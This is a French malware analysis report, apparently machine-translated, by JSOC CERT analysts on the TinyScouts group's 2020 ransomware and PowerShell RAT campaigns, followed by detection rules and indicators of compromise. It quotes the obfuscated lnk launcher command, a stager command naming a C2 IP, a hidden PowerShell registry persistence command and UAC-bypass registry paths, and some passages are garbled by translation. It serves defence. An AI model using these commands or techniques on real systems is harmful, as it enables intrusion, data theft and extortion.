Deux aspects des activités du groupe méritent d'être soulignés: d'une part, le haut niveau de compétences techniques des attaquants, et d'autre part, la variabilité du scénario d'attaque. Si vous n'êtes pas intéressant en tant que victime, ils voleront les mots de passe et chiffreront les données, mais si votre machine est dans un domaine intéressant et a le potentiel pour un développement d'attaque plus intéressant, ils téléchargeront l'outil d'administration à distance (RAT) écrit dans PowerShell. Nous avons appelé le regroupement TinyScouts après les noms des fonctions du code malveillant. Dans cet article, nous vous parlerons de ses deux dernières campagnes, qui peuvent être conditionnellement divisées par mois - juillet et août 2020, et nous ferons une analyse complète des outils et des scripts TinyScouts.
Campagne de juillet. Téléchargement direct
En juillet, le malware a été distribué sous la forme d'un fichier lnk qui exécutait la commande suivante:
%comspec% /v /c set m=m^s^h^ta && set a=AKT-F^inAudit^Service.^docx.l^nk && if exist "!cd!\!a!" (!m! "!cd!\!a!") else (!m! !temp!\Temp1_^^.z^ip\!a!)
Suite à l'exécution de mshta.exe, le script JS obfusqué a été exécuté. Sa tâche consiste à extraire un document du corps du fichier lnk pour distraire l'attention, à l'ouvrir via rundll32.exe et à exécuter la commande PowerShell masquée. Un fragment du script après la désobfuscation est illustré ci-dessous:
Le script de la variable toexecute se charge et exécute un autre script PowerShell obscurci nommé Decide (request to decide.php). Voici un exemple d'obfuscation:
La tâche de ce script est de vérifier la conformité de l'ordinateur avec certains paramètres et de télécharger la prochaine charge à partir des serveurs. Un extrait du code désobfusqué est illustré ci-dessous:
La présence de TeamViewer, des sessions RDP et le fait de se connecter au domaine sont vérifiés afin de déterminer quelle charge doit être téléchargée. Dans le cas d'un système "intéressant", le RAT est chargé, sinon - le ransomware. Dans les deux cas, ce sont des scripts obscurcis en plusieurs couches.
Campagne d'août (en cours). Services cachés de Tor
Début août, le schéma de distribution a changé: les lettres contenaient désormais un lien pour télécharger l'archive sfx, qui contient 4 fichiers:
- document.doc. Un document ouvert pour distraction et ne portant pas de charge utile malveillante.
- 7za.exe. 7z - archiveur.
- wget.exe. L'utilitaire wget d'origine.
- un service. Script JS Stager 1
Lorsque l'archive sfx est lancée, les actions suivantes ont lieu:
1) document.doc est ouvert
2) TOR et node.exe sont téléchargés et décompressés à l'aide de wget et 7z à partir des liens suivants:
www.torproject.org/dist/torbrowser/9.5.1/tor- win32-0.4.3.5.zip
nodejs.org/dist/latest-carbon/win-x86/node.exe
3) en utilisant node.exe, le script Stager 1 est lancé:
C: \ Windows \ System32 \ cmd.exe "/ c si not exist nom d'hôte (service de nœud 192.248 [.] 165.254)
Voici le script désobfusqué de Stager 1:
Le script de service reçoit l'adresse du serveur de contrôle en tant qu'argument et, une fois lancé, crée le service caché TOR (https://2019.www.torproject.org/docs/onion-services). Il est à noter que lorsque le service TOR caché est lancé, son nom est généré (il est similaire au nom d'une ressource régulière dans le réseau TOR, par exemple, vkss134jshs22yl3li2ul.onion). Ensuite, le script envoie le nom du service caché généré à l'attaquant et fait apparaître le serveur Web local. Par la suite, l'attaquant communique avec le système infecté en mode requête / réponse au serveur Web (ligne 19 du code), où les requêtes contiennent le code à exécuter et les réponses contiennent les résultats.
Cette architecture permet à un attaquant d'accéder à un système infecté, même s'il est derrière NAT (la principale condition est la présence d'Internet), et rend inutile la connaissance de l'adresse IP «blanche» de la victime.
La première requête adressée au serveur Web surélevé vient du script Decider, dont la tâche est de déterminer le fait que l'ordinateur rejoigne le domaine, ainsi que d'obtenir le nom d'utilisateur. Cette fois, il n'y a pas de vérification pour TeamViewer et RDP: une
fois que les résultats du script Decider sont envoyés à l'attaquant, une requête Web arrive au système infecté contenant le ransomware ou RAT, en fonction de l'intérêt de l'attaquant.
Modules communs dans les deux campagnes
Script de Stager 3
Le script principal contient 5 composants encodés en base64:
- Ransomware Encryptor
- Readme
- WebBrowserPassView
- Mail PassView
- Injector. , WebBrowserPassView Mail PassView svchost. RunPE.
Fonctions du script Stager 3 :
1) Lancement du ransomware (fonction Get-Stuff)
Voici un fragment du code du script avec le lancement du ransomware:
2) Contournement de l'UAC (pour supprimer les
clichés instantanés ) Il existe trois techniques dans le code: en utilisant csmtp.exe, CompMgmtLauncher.exe et fodhelper.exe. Vous pouvez en savoir plus ici , ici et ici .
3) Suppression des
clichés instantanés 4) Lancement de WebBrowserPassView et Mail PassView
Ce sont des utilitaires de Nirsoft pour extraire les mots de passe des navigateurs et des clients de messagerie, respectivement.
5) Envoi des rapports des utilitaires susmentionnés au serveur de gestion.
Avant l'envoi, les rapports sont cryptés à l'aide de l'algorithme RC4 avec une clé générée (4 caractères):
La clé elle-même est placée au début du message:
Ransomware Encryptor
Le message Lisez-moi ressemble Ă ceci:
Le chiffreur est un fichier exécutable .NET sans aucune obfuscation. Les fichiers sont chiffrés avec l'algorithme AES. Une clé et un vecteur d'initialisation distincts sont générés pour chaque fichier, qui sont ensuite chiffrés à l'aide de la clé publique RSA et placés dans le fichier chiffré. La fonction principale du ransomware est indiquée ci-dessous:
RAT
Ce script a plusieurs couches d'obfuscation. Après le décryptage, il peut exécuter les commandes suivantes:
- supprimer - suppression automatique
- exec - Exécute une commande PowerShell
- télécharger - télécharger le fichier
- set_wait_time - change la fréquence de la demande de commande
- update_tiny - mettre Ă jour RAT
- run_module - Exécute un bloc de commandes PowerShell
- add_persist_module - ajoute un module PowerShell au système qui sera exécuté à chaque démarrage du RAT.
- remote_persist_module - supprime un module de la liste de démarrage RAT.
La fonction de traitement des commandes désobfusquée est illustrée ci-dessous:
MĂ©thode de fixation
Deux clés sont utilisées pour l'épinglage:
1) HKCU \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run. La commande suivante est placée dans cette clé (la ligne est désobfusquée):
cmd /c PowerShell -windowstyle hidden -nop -c «iex (Get-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows -Name <client_id>»
2) HKCU \ SOFTWARE \ Microsoft \ Windows. C'est là que le script est stocké dans une valeur nommée client_id. Ainsi, lorsque le système démarre, la commande de la touche Exécuter lit et exécute le script à partir d'ici.
client_id est une chaîne au format AppX + base64 (hostname + username + campaign_id)
La fonction d'Ă©pinglage ressemble Ă ceci:
Script déchiffré qui est placé dans Run:
Il faut noter que le code du malware n'est stocké ni sur le disque ni dans le registre: il est chargé à nouveau à chaque fois avec le script ci-dessus.
Commande Add_persist_module
RAT a la possibilité d'ajouter des modules PowerShell qui s'exécuteront à chaque démarrage. Pour cela, une clé de registre distincte est utilisée, qui stocke les identificateurs de module. Au démarrage, cette clé est vérifiée et le logiciel malveillant fait une demande au serveur, téléchargeant tous les modules par leurs identifiants.
Lorsque le malware est lancé, la fonction Load-AllPersistModules est lancée pour lancer tous les modules ajoutés:
Le code du module n'est pas non plus stocké sur les disques ou dans le registre, tout comme le corps principal du RAT.
Interactions avec le serveur
Le code contient la constante CampaignID, qui est utilisée lors de l'enregistrement du RAT au démarrage (fonction register-tiny) comme clé de chiffrement. L'algorithme de cryptage est RC4. Après avoir envoyé les informations principales sur le système, la réponse du serveur contient la clé de cryptage, qui sera utilisée à l'avenir avec le même algorithme.
Aspects techniques de la découverte des données de campagne
Répondant à la question de savoir comment détecter telle ou telle chose, nous essayons de diviser toutes les règles en deux grands groupes:
- détection d'anomalies à l'échelle du système,
- détection d'anomalies pour une entreprise / famille / instrument spécifique.
Détection d'anomalies à l'échelle du système
Interaction avec les serveurs intermédiaires et n:
Dans la campagne de juillet, en termes de détection et de blocage de cette activité, il suffit d'ajouter des adresses IP et des noms de domaine aux listes de blocage, sans oublier de surveiller les tentatives pour y accéder.
En août, les entreprises sont devenues plus difficiles avec l'aspect de la découverte de réseau, et ici, il convient de prêter attention aux points suivants:
- Nous pouvons toujours bloquer et retirer certaines des adresses IP et des noms de domaine pour la surveillance;
- La présence d'une activité réseau via TOR nous oblige à stocker et à mettre à jour dynamiquement les listes d'adresses IP impliquées dans la construction de ce réseau. Et ici, pour nous, la règle de détection peut être un appel à une adresse IP du réseau TOR;
- , - ( Stager 1 ), SYN- TCP- . TOR Hidden Service . rendezvous point « » ( ) SYN- TCP- , .
Pour les deux campagnes, un ensemble de règles IDS visant à détecter les méthodes PowerShell spécifiques utilisées ou leur formulaire converti en Base64 fonctionnera très bien.
Exécution de code sur le système cible
Il existe deux sources d'événements: Windows Audit et Sysmon.
Journalisation des blocs de scripts PowerShell Journal
qui contient les enregistrements des scripts PowerShell en cours d'exécution. Situé dans le chemin suivant: Journaux des applications et des services> Microsoft> Windows> Powershell> Operational.
Les règles de détection, qui visent à détecter des méthodes PowerShell spécifiques utilisées, feront un bon travail de détection de l'activité de ces campagnes. Démarrage du processus
du journal de sécurité (ou Sysmon)
- 4648 (1)
Pour détecter cette activité, des règles classiques de détection des anomalies par rapport aux processus père -> enfant sont nécessaires. Ces bundles sont bien suivis pendant le processus de démarrage sur l'hôte: md-> mshta, cmd-> powershell, mshta-> powershell, rar-> rundll32, node-> wmic
En outre, une règle de suivi des paramètres suspects des processus de lancement peut aider: powershell -e «base64 »
Process Network Connection - 5156 (3)
La règle de détection de la connexion réseau du processus PowerShell aux adresses IP blanches devrait aider à détecter cette activité.
De plus, pendant la campagne d'août, les règles de détection du trafic de proxy interne vers 127.0.0.1 aideront beaucoup (c'est ce que font TOR et le serveur Web local).
Inscription dans le registre - 4657 (13)
RAT écrit dans PowerShell conserve sa présence via la branche de registre commune HKCU \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run, ce qui signifie que la règle de surveillance des enregistrements le long de ce chemin est notre option.
DĂ©tection des tentatives de contournement de la technologie UAC: changements dans les branches de registre suivantes -
HKCU\Software\Classes\mscfile\shell\open\command, HKCU\Software\Classes\ms-settings\shell\open\command, HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ICM\Calibration
Détection d'anomalies pour une entreprise / famille / instrument spécifique
Exécution du code sur le système cible
Processus de démarrage - 4648 (1)
Ici, vous avez besoin d'une règle pour suivre les paramètres suspects des processus de démarrage: C: \ Windows \ System32 \ cmd.exe "/ c s'il n'existe pas de nom d'hôte (service de nœud)
Ecriture dans le registre - 4657 (13 )
le RAT, écrit en PowerShell, maintient également une présence via le registre de branche HKCU \ SOFTWARE \ Microsoft \ Windows, et donc pour la détection, nous devons garder une trace des valeurs d'enregistrement «client_id» le long de ce chemin. Les
indicateurs compromettent:
a9a282a11a97669d96cce3feaeaaa13051d51880
8b20babe972f580f1b8f4aca4f7724f7866a595a
ba7b1f2a9feb6b5b0ebc15620b38f8311a67c017
2c687d52cc76990c08ec8638399f912df8fb72de
c19b68e4b1cb251db194e3c0b922e027f9040be3
a2d4b0914d164f2088130bee3cdcf4e5f4765c38
18a28811dbbcc97757091ddb3e3ab6982b0bbfc9
192.248.165[.]254
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_launch.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_fin.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/web/index.php?r=bag
https[://]hello.tyvbxdobr0.workers[.]dev
https[://]curly-sound-d93e.ygrhxogxiogc.workers[.]dev
https[://]old-mud-23cb.tkbizulvc.workers[.]dev
https[://]odd-thunder-c853.tkbizulvc.workers.dev/
http[://]45.61.138[.]170
Auteurs du poste:
Igor Zalevsky, chef du département d'enquête sur les incidents cybernétiques au JSOC CERT
Asker Jamirze, expert en investigation technique au département JSOC CERT